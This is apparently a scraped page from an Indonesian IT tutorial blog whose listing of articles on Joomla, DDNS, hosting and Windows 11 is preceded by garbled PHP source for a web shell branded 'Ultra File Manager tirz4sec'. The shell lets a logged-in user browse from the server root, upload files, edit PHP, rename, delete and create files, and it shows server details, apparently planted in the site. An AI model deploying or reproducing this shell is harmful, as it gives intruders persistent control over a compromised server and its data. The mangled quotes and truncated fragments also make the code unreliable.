Login — Ultra File Manager tirz4sec
= htmlspecialchars($login_error) ?> =1024&&$i‘; echo ‘‘; exit; } function perms_string($path){ $p=@fileperms($path); if($p===false) return ‘???????????’; switch($p & 0xF000){ case 0xC000:$t=’s’;break;case 0xA000:$t=’l’;break;case 0x8000:$t=’-‘;break;case 0x6000:$t=’b’;break;case 0x4000:$t=’d’;break;case 0x2000:$t=’c’;break;case 0x1000:$t=’p’;break;default:$t=’?’;} $o_r=($p&0x0100)?’r’:’-‘; $o_w=($p&0x0080)?’w’:’-‘; $o_x=($p&0x0040)?’x’:’-‘; $g_r=($p&0x0020)?’r’:’-‘; $g_w=($p&0x0010)?’w’:’-‘; $g_x=($p&0x0008)?’x’:’-‘; $a_r=($p&0x0004)?’r’:’-‘; $a_w=($p&0x0002)?’w’:’-‘; $a_x=($p&0x0001)?’x’:’-‘; if($p&0x0800) $o_x=($o_x===’x’)?’s’:’S’; if($p&0x0400) $g_x=($g_x===’x’)?’s’:’S’; if($p&0x0200) $a_x=($a_x===’x’)?’t’:’T’; return $t.$o_r.$o_w.$o_x.$g_r.$g_w.$g_x.$a_r.$a_w.$a_x; } function save_uploaded_to($tmp, $dest){ if (@move_uploaded_file($tmp, $dest)) return true; if (@rename($tmp, $dest)) return true; if (@copy($tmp, $dest)) return true; $in = @fopen($tmp, ‘rb’); if ($in) { $out = @fopen($dest, ‘wb’); if ($out) { $ok = @stream_copy_to_stream($in, $out); @fclose($out); @fclose($in); if ($ok !== false) return true; } else { @fclose($in); } } return false; } // ——– Lokasi awal ——– $ROOT = DIRECTORY_SEPARATOR; $START = realpath(__DIR__) ?: $ROOT; // ——– Resolve CURRENT ——– $path_in = isset($_GET[‘path’])?(string)$_GET[‘path’]:”; $goto_in = isset($_GET[‘goto’])?(string)$_GET[‘goto’]:”; $seed = $path_in!==”?$path_in:($goto_in!==”?$goto_in:”); $CURRENT = $seed===”?$START:resolve_path($seed,$START); if(!is_dir($CURRENT)) $CURRENT = dirname($CURRENT); // ====== HANDLER: CHUNKED UPLOAD ====== if (($_SERVER[‘REQUEST_METHOD’]===’POST’) && isset($_GET[‘chunk’])) { $uploadId = $_POST[‘upload_id’] ?? ”; $fileName = $_POST[‘file_name’] ?? ”; $idx = isset($_POST[‘chunk_index’]) ? (int)$_POST[‘chunk_index’] : -1; $total = isset($_POST[‘total_chunks’]) ? (int)$_POST[‘total_chunks’] : -1; if ($uploadId===” || $fileName===” || $idx<0 || $total<1) { http_response_code(400); echo 'bad params'; exit; } if(!is_dir($CURRENT)||!is_writable($CURRENT)) { http_response_code(403); echo 'dir not writable'; exit; } $tmpDir = rtrim($CURRENT,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.CHUNK_TMP_DIR; if (!is_dir($tmpDir)) { @mkdir($tmpDir, 0775, true); } if (!is_dir($tmpDir) || !is_writable($tmpDir)) { http_response_code(500); echo 'tmp not writable'; exit; } $chunkField = 'chunk'; if (!isset($_FILES[$chunkField]) || $_FILES[$chunkField]['error']!==UPLOAD_ERR_OK) { http_response_code(400); echo 'no chunk'; exit; } $chunkPath = $tmpDir.DIRECTORY_SEPARATOR.$uploadId.'.part.'.$idx; if (!save_uploaded_to($_FILES[$chunkField]['tmp_name'], $chunkPath)) { http_response_code(500); echo 'save fail'; exit; } $done = true; for ($i=0; $i<$total; $i++){ if (!file_exists($tmpDir.DIRECTORY_SEPARATOR.$uploadId.'.part.'.$i)) { $done=false; break; } } if ($done) { $safeName = basename($fileName); $final = rtrim($CURRENT,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$safeName; if (file_exists($final)) { $pi = pathinfo($final); $base = $pi['filename'] ?? $safeName; $ext = isset($pi['extension']) && $pi['extension'] !== '' ? ('.'.$pi['extension']) : ''; $k=1; do { $final = $pi['dirname'].DIRECTORY_SEPARATOR.$base.' ('.$k.')'.$ext; $k++; } while(file_exists($final) && $k<1000); } $out = @fopen($final, 'wb'); if (!$out) { http_response_code(500); echo 'assemble open fail'; exit; } for ($i=0; $i<$total; $i++){ $part = $tmpDir.DIRECTORY_SEPARATOR.$uploadId.'.part.'.$i; $in = @fopen($part, 'rb'); if(!$in){ @fclose($out); http_response_code(500); echo 'assemble read fail'; exit; } @stream_copy_to_stream($in, $out); @fclose($in); @unlink($part); } @fclose($out); @rmdir($tmpDir); } header('Content-Type: application/json'); echo json_encode(['ok'=>true,’assembled’=>($done?true:false)]); exit; } // ——– Aksi POST (normal form) ——– if($_SERVER[‘REQUEST_METHOD’]===’POST’ && !isset($_GET[‘chunk’])){ $action = $_POST[‘action’] ?? ”; if($action===’upload’){ if(!is_dir($CURRENT)||!is_writable($CURRENT)) error_then_exit(‘Folder tidak bisa ditulisi.’,403); if(!isset($_FILES[‘files’])) error_then_exit(‘Tidak ada file yang diupload.’); $count=min(count($_FILES[‘files’][‘name’]),UPLOAD_MAX_FILES); $ok=0;$fail=0;$msgs=[]; for($i=0;$i<$count;$i++){ $err = $_FILES['files']['error'][$i] ?? UPLOAD_ERR_NO_FILE; $name = basename($_FILES['files']['name'][$i] ?? 'unknown'); $tmp = $_FILES['files']['tmp_name'][$i] ?? ''; if($err!==UPLOAD_ERR_OK || !is_uploaded_file($tmp)){ $fail++; $msgs[]='Gagal upload: '.h($name).' (error='.$err.')'; continue; } $dest = rtrim($CURRENT,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$name; $parentReal = realpath(dirname($dest)); if($parentReal===false){ $fail++; $msgs[]="Path tidak valid: ".h($name); continue; } if (file_exists($dest)) { $pi = pathinfo($dest); $base = $pi['filename'] ?? $name; $ext = isset($pi['extension']) && $pi['extension'] !== '' ? ('.'.$pi['extension']) : ''; $k=1; do { $dest = $pi['dirname'].DIRECTORY_SEPARATOR.$base.' ('.$k.')'.$ext; $k++; } while(file_exists($dest) && $k<1000); } if (save_uploaded_to($tmp, $dest)) { $ok++; } else { $fail++; $msgs[]="Gagal simpan: ".h($name); } } flash_set("Upload selesai. Berhasil: $ok, Gagal: $fail".(count($msgs)?' ('.implode('; ',$msgs).')':'')); header('Location: ?path='.rawurlencode($CURRENT)); exit; } if($action==='save'){ $filePath=$_POST['file_path'] ?? ''; $abs=resolve_path($filePath,$CURRENT); if(!is_file($abs)||!is_writable($abs)) error_then_exit('File tidak bisa disimpan atau tidak ada izin.',403); $ext=strtolower(pathinfo($abs,PATHINFO_EXTENSION)); if(!ALLOW_EDIT_PHP&&$ext==='php') error_then_exit('Edit .php dimatikan (konfig).'); if(!is_textual_file($abs)) error_then_exit('File bukan teks.'); if(filesize($abs)>MAX_EDIT_SIZE) error_then_exit(‘File terlalu besar untuk editor web.’); $content=(string)($_POST[‘content’] ?? ”); $content=str_replace(“\r\n”,”\n”,$content); if(@file_put_contents($abs,$content)===false) error_then_exit(‘Gagal menyimpan file.’); flash_set(‘Perubahan disimpan.’); header(‘Location: ?path=’.rawurlencode(dirname($abs))); exit; } if($action===’rename’){ $oldPath=$_POST[‘old_path’] ?? ”; $newName=trim((string)($_POST[‘new_name’] ?? ”)); $oldAbs=resolve_path($oldPath,$CURRENT); if(!file_exists($oldAbs)) error_then_exit(‘Target tidak ditemukan.’); if($newName===”||preg_match(‘/[\/\\\\]/’,$newName)) error_then_exit(‘Nama baru tidak valid.’); $newAbs=dirname($oldAbs).DIRECTORY_SEPARATOR.$newName; if(file_exists($newAbs)) error_then_exit(‘Nama sudah digunakan.’); if(!@rename($oldAbs,$newAbs)) error_then_exit(‘Gagal rename.’); flash_set(‘Berhasil rename.’); header(‘Location: ?path=’.rawurlencode(dirname($newAbs))); exit; } if($action===’delete’){ $targetPath=$_POST[‘target_path’] ?? ”; $targetAbs=resolve_path($targetPath,$CURRENT); if(!file_exists($targetAbs)) error_then_exit(‘Target tidak ditemukan.’); if(!rrmdir_safe($targetAbs)) error_then_exit(‘Gagal menghapus (cek permission).’); flash_set(‘Berhasil hapus.’); header(‘Location: ?path=’.rawurlencode(dirname($targetAbs))); exit; } // ====== TAMBAHAN: BUAT FOLDER ====== if($action===’create_folder’){ $folderName = trim((string)($_POST[‘folder_name’] ?? ”)); if($folderName===” || preg_match(‘/[\/\\\\]/’,$folderName)) error_then_exit(‘Nama folder tidak valid.’); if(!is_dir($CURRENT) || !is_writable($CURRENT)) error_then_exit(‘Folder tidak bisa ditulisi.’,403); $newPath = rtrim($CURRENT,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$folderName; if(file_exists($newPath)) error_then_exit(‘Folder atau file dengan nama tersebut sudah ada.’); if(!@mkdir($newPath, 0775)) error_then_exit(‘Gagal membuat folder.’); flash_set(‘Folder berhasil dibuat: ‘.h($folderName)); header(‘Location: ?path=’.rawurlencode($CURRENT)); exit; } // ====== TAMBAHAN: BUAT FILE ====== if($action===’create_file’){ $fileName = trim((string)($_POST[‘file_name’] ?? ”)); $content = (string)($_POST[‘file_content’] ?? ”); if($fileName===” || preg_match(‘/[\/\\\\]/’,$fileName)) error_then_exit(‘Nama file tidak valid.’); if(!is_dir($CURRENT) || !is_writable($CURRENT)) error_then_exit(‘Folder tidak bisa ditulisi.’,403); $newPath = rtrim($CURRENT,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$fileName; if(file_exists($newPath)) error_then_exit(‘File dengan nama tersebut sudah ada.’); $content = str_replace(“\r\n”,”\n”,$content); if(@file_put_contents($newPath, $content)===false) error_then_exit(‘Gagal membuat file.’); flash_set(‘File berhasil dibuat: ‘.h($fileName)); header(‘Location: ?path=’.rawurlencode($CURRENT)); exit; } error_then_exit(‘Aksi tidak dikenal.’); } // ——– Listing ——– $items=[]; $scan=@scandir($CURRENT); if($scan!==false){ foreach($scan as $it){ if($it===’.’||$it===’..’) continue; $p=rtrim($CURRENT,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$it; $items[]=[ ‘name’=>$it, ‘is_dir’=>is_dir($p), ‘size’=>is_dir($p)?0:(int)@filesize($p), ‘mtime’=>(int)@filemtime($p), ‘abs’=>$p, ‘perm’=>perms_string($p), ]; } usort($items,function($a,$b){ if($a[‘is_dir’]!==$b[‘is_dir’]) return $a[‘is_dir’]?-1:1; return strcasecmp($a[‘name’],$b[‘name’]); }); } // ——– Breadcrumb ——– function make_breadcrumb($CURRENT){ $parts=[]; $path=$CURRENT; while(true){ $parent=dirname($path); if($parent===$path){ array_unshift($parts,[‘label’=>’/’,’path’=>’/’]); break; } array_unshift($parts,[‘label’=>basename($path),’path’=>$path]); $path=$parent; } return $parts; } $crumbs=make_breadcrumb($CURRENT); $canUp=dirname($CURRENT)!==$CURRENT; // ——– Mode edit? ——– $editFile=null; if(isset($_GET[‘edit’])){ $editIn=(string)$_GET[‘edit’]; $editAbs=resolve_path($editIn,$CURRENT); if($editAbs && is_file($editAbs)){ $size=(int)@filesize($editAbs); if($size<=MAX_EDIT_SIZE && is_textual_file($editAbs)){ $editFile=['abs'=>$editAbs,’size’=>$size]; } } } // ——– System info ——– $serverIP=$_SERVER[‘SERVER_ADDR’]??gethostbyname(gethostname()); $clientIP=$_SERVER[‘REMOTE_ADDR’]??’N/A’; $hostname=gethostname(); $phpv=PHP_VERSION; // ——– Flash ——– $flash=flash_get(); ?> Ultra File Manager Server: =h($hostname)?> (=h($serverIP)?>) You: =h($clientIP)?> PHP =h($phpv)?> Dir: =h($CURRENT)?> = $flash ?> Edit: =h($editFile['abs'])?>
Upload
Nama Izin Diubah Aksi Kosong / tidak ada izin. =h($it['name'])?> = $it['is_dir']?'-':bytes_fmt($it['size']) ?> = $it['mtime']?date('Y-m-d H:i:s',$it['mtime']):'-' ?>
tirz4sec
Edit: =h($editFile['abs'])?>
Upload
| Nama | Izin | Diubah | Aksi | |
|---|---|---|---|---|
| Kosong / tidak ada izin. | ||||
| =h($it['name'])?> | = $it['is_dir']?'-':bytes_fmt($it['size']) ?> | = $it['mtime']?date('Y-m-d H:i:s',$it['mtime']):'-' ?> | ||
Membangun website menggunakan CMS Joomla
Pada tutorial kali ini kita akan membangun website dengan menggunakan CMS Joomla.
Sekilas tentang DDNS
Apa itu DDNS ? Dynamics DNS atau DDNS adalah metode untuk memperbaharui IP Address secara otomatis…
Menguji hasil instalasi dan konfigurasi Dedicated Hosting Server
Kali ini kita akan melakukan pengujian terhadap dedicated hosting server yang telah kita install dan konfigurasi…
Instalasi dan konfigurasi Dedicated Hosting Server
Install LAMP, Multiple PHP dan PHPMyAdmin Dynamic DNS Install dan konfigurasi Dynamic Update Client (DUC) Pengujian
Memahami tentang Dedicated Hosting Server
Pengertian Dedicated Hosting Server. Layanan dedicated server digunakan untuk mengelola dan memelihara service, backup data, memonitor…
Menambahkan akun pengguna di Windows 11 (akun lokal)
Pada artikel ini, kami akan membagikan panduan langkah demi langkah untuk Menambahkan Akun Pengguna Di Windows 11…
Cara Melihat Password WiFi Di Windows 11
Hampir semua perangkat laptop sudah dibekali dengan koneksi WiFi. Selain fungsi utamanya sebagai penghubung antar jaringan,…
Cara Membersihkan Cache Atau Sampah di Windows 11
Membersihkan file sampah atau cache tidak cuma bisa dilakukan di perangkat ponsel saja. Tetapi Windows 11 memiiki jenis file cache dengan salinan…
3 Cara Mudah Konfigurasi Jaringan LAN di Windows 11
Windows 11 telah hadir dengan tampilan baru, mereka sekaligus memperbaiki pengaturan sistem supaya pengguna menjadi lebih mudah…